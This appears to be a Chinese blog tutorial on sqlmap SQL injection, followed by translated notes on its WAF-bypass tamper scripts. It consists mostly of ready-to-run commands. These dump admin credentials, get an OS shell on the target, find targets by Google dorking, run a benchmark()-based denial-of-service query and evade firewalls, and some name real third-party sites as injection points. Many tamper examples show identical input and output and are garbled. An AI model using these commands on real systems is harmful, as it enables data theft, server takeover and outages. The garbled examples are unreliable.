1.sqlmap的get注入

假设目标是 https://www.baidu.com/news.php?id=1&data=2

sqlmap语句

列库

sqlmap.py -u "https://www.baidu.com/news.php?id=1&data=2" --dbs

//假设结果显示库有3个: test1 、test2、test3

获取库test1的表

sqlmap.py -u "https://www.baidu.com/news.php?id=1&data=2" -D test1 --tables

//假设有表3个:admin,user,news

获取admin表的columns

sqlmap.py -u "https://www.baidu.com/news.php?id=1&data=2" -D test1 -T admin --columns

//假设有字段3个:id,username,password

获取id,username,password字段的内容

sqlmap.py -u "https://www.baidu.com/news.php?id=1&data=2" -D test1 -T admin -C "id,usrename,password"

一切顺利的话 这算是完成了一次注入

2.sqlmap的post注射

post肯定要post内容,这个内容一般是表单神马的。可以配合burpsuite,也可以自己手工填写,当然,sqlmap之所以叫做神器,那是因为它自己完全可以搞定

target还是https://www.baidu.com/news.php

post的内容是 username=&password=

可以用sqlmap的随机值,也可以自己随便填下username=admin&password=123

那么sqlmap语句是:

列库

sqlmap.py -u "https://www.baidu.com/news.php?id=1&data=2" -data="username=admin&password=123" --dbs

后续步骤一样

偷懒不想填post内容可以这样

sqlmap.py -u "https://www.baidu.com/news.php?id=1&data=2" --forms

sqlmap自动获取表单,问你是否填写神马的,然后填不填都可以

然后用sqlmap虐sqli-labs的话,我记得lessen4和10 要升到level2才可以

然后是sqlmap的绕过脚本,在最后带上参数 ----tamper "space2morehash.py"

双引号里面的脚本有哪些,有什么作用请呆着疑问往下看。

以上手敲的

下面是 羽翼SQLMAP系列课程笔记

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常用语句

sqlmap -u https://www.target.com/id=2

--dbs

--tables -D whatA

--columns -D databaseA -T tableA

--dump -D databaseA -T tableA -C "username,password"

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cookie注入

注入点:https://www.ntjx.org/jsj/DownloadShow.asp?id=9

语句sqlmap -u "https://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --table --level 2

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post注入

注入点:https://testasp.vulnweb.com/Login.asp

配合Burpsuite:./sqlmap.py -r search-test.txt -p tfUPass

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自动获取

sqlmap -u https://testasp.vulnweb.com/Login.asp --forms

指定参数

sqlmap -u https://testasp.vulnweb.com/Login.asp --data "tfUName=1&tfUPass=1"

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交互式写shell需要指定根目录

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sqlmap -u https://www.target.com/id=2 --os-cmd=ipconfig

执行ipconfig

sqlmap -u https://www.target.com/id=2 --os-shell

获得一个shell即时执行命令,会生成文件 tmpbxbxz.php 和 tmppuoiuz.php

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伪静态注入点:https://www.target.com/ndex.php/Index/view/id/40.html

sqlmap -u https://www.target.com/ndex.php/Index/view/id/40*.html --dbs//注意*位置,在有注入的地方,后面你懂的

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请求延时

注入点:https://sfl.fzu.edu.cn/index.php/Index/view/id/40.html

参数 --delay --safe-freq

sqlmap --dbs -u https://www.target.com/ndex.php/Index/view/id/40*.html --delay 0.5//延时0.5秒

sqlmap --dbs -u https://www.target.com/ndex.php/Index/view/id/40*.html --safe-freq//请求2次

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google关键字找注入点

sqlmap-g inurl:php?id=1

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sqlmapDDoS攻击

sqlmap -u https://www.target.com/id=2 --sql-shell

获得一个即时shell,执行

select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)

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sqlmap绕过WAF防火墙

注入点:https://www.target.com/id=2

sqlmap -u https://192.168.159.1/news.php?id=1 -v 3 --dbs--batch --tamper "space2morehash.py"

tamper文件夹下自行发挥

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sqlmap查看 权限及可执行函数

sqlmap -u https://www.target.com/id=2 --privileges

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一下是sqlmap的绕过脚本的解释:

sqlmap自带的绕过脚本,简单翻译了一下,部分可能翻译的不到位,见谅。。

apostrophemask.py UTF-8编码

Example:

* Input: AND '1'='1'

* Output: AND '1'='1'

apostrophenullencode.py unicode编码

Example:

* Input: AND '1'='1'

* Output: AND '1'='1'

appendnullbyte.py 添加

Example:

* Input: AND 1=1

* Output: AND 1=1

Requirement:

* Microsoft Access

base64encode.py base64编码

Example:

* Input: 1' AND SLEEP(5)#

* Output: MScgQU5EIFNMRUVQKDUpIw==

between.py 以“not between”替换“>”

Example:

* Input: 'A > B'

* Output: 'A NOT BETWEEN 0 AND B'

bluecoat.py 以随机的空白字符替代空格,以“like”替代“=”

Example:

* Input: SELECT id FROM users where id = 1

* Output: SELECT id FROM users where id LIKE 1

Requirement:

* MySQL 5.1, SGOS

chardoubleencode.py 双重url编码

Example:

* Input: SELECT FIELD FROM TABLE

* Output: SELECT FIELD FROM TABLE

charencode.py url编码

Example:

* Input: SELECT FIELD FROM TABLE

* Output: SELECT FIELD FROM TABLE

charunicodeencode.py 对未进行url编码的字符进行unicode编码

Example:

* Input: SELECT FIELD FROM TABLE

* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045'

Requirement:

* ASP

* ASP.NET

equaltolike.py 以“like”替代“=”

Example:

* Input: SELECT * FROM users WHERE id=1

* Output: SELECT * FROM users WHERE id LIKE 1

halfversionedmorekeywords.py在每个关键字前添加条件注释

Example:

* Input: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa

* Output: value'--

Requirement:

* MySQL

modsecurityzeroversioned.py 条件注释,0000

Example:

* Input: 1 AND 2>1--

* Output: 1 --

Requirement:

* MySQL

multiplespaces.py 添加多个空格

Example:

* Input: UNION SELECT

* Output:UNIONSELECT

nonrecursivereplacement.py 可以绕过对关键字删除的防注入(这个我也不知道怎么说好,看例子。。。)

Example:

* Input: 1 UNION SELECT 2--

* Output: 1 UNUNIONION SELSELECTECT 2--

percentage.py 在每个字符前添加百分号(%)

Example:

* Input: SELECT FIELD FROM TABLE

* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

Requirement:

* ASP

randomcase.py 随即大小写

Example:

* Input: INSERT

* Output: InsERt

randomcomments.py 随机插入区块注释

Example:

'INSERT' becomes 'INSERT'

securesphere.py 语句结尾添加“真”字符串

Example:

* Input: AND 1=1

* Output: AND 1=1 and '0having'='0having'

sp_password.py 语句结尾添加“sp_password”迷惑数据库日志(很。。。)

Example: www.2cto.com

* Input: 1 AND 9227=9227--

* Output: 1 AND 9227=9227--sp_password

Requirement:

* MSSQL

space2comment.py 以区块注释替换空格

Example:

* Input: SELECT id FROM users

* Output: SELECTidFROMusers

space2dash.py 以单行注释“--”和随机的新行替换空格

Example:

* Input: 1 AND 9227=9227

* Output: 1--PTTmJopxdWJ AND--cWfcVRPV 9227=9227

Requirement:

* MSSQL

* SQLite

space2hash.py 以单行注释“#”和由随机字符组成的新行替换空格

Example:

* Input: 1 AND 9227=9227

* Output: 1#PTTmJopxdWJ AND#cWfcVRPV 9227=9227

Requirement:

* MySQL

space2morehash.py 没看出来和上面那个有什么区别。。

Requirement:

* MySQL >= 5.1.13

space2mssqlblank.py 以随机空白字符替换空格

Example:

* Input: SELECT id FROM users

* Output: SELECTidFROMusers

Requirement:

* Microsoft SQL Server

space2mssqlhash.py 以单行注释“#”和新行替换空格

Example:

* Input: 1 AND 9227=9227

* Output: 1# 9227=9227

Requirement:

* MSSQL

* MySQL

space2mysqlblank.py 以随机空白字符替换空格

Example:

* Input: SELECT id FROM users

* Output: SELECTidFROM?users

Requirement:

* MySQL

space2mysqldash.py 以单行注释和新行替换空格

Example:

* Input: 1 AND 9227=9227

* Output: 1-- AND-- 9227=9227

Requirement:

* MySQL

* MSSQL

space2plus.py 以“+”替换空格

Example:

* Input: SELECT id FROM users

* Output: SELECT+id+FROM+users

space2randomblank.py 随机空白字符替换空格

Example:

* Input: SELECT id FROM users

* Output: SELECT\rid\tFROM\nusers

unionalltounion.py 以“union all”替换“union”

Example:

* Input: -1 UNION ALL SELECT

* Output: -1 UNION SELECT

unmagicquotes.py 以“?'”替换单引号,并在结尾添加注释“--”

Example:

* Input: 1' AND 1=1

* Output: 1?' AND 1=1--

versionedkeywords.py 对不是函数的关键字条件注释

Example:

* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#

* Output: 1,,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()),CHAR(32)),CHAR(58,100,114,117,58))#

Requirement:

* MySQL

versionedmorekeywords.py 对关键字条件注释

Example:

* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#

* Output: 1,,((58,122,114,115,58),(CAST(()),(32)),(58,115,114,121,58))#

Requirement:

* MySQL >= 5.1.13

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如果web应用使用asp/asp.net开发,charunicodeencode.py和percentage.py可以帮助你逃避Waf的检测。

有意思的是,asp允许在字符之间使用多个%号间隔,比如 AND 1=%%%%%%%%1 是合法的!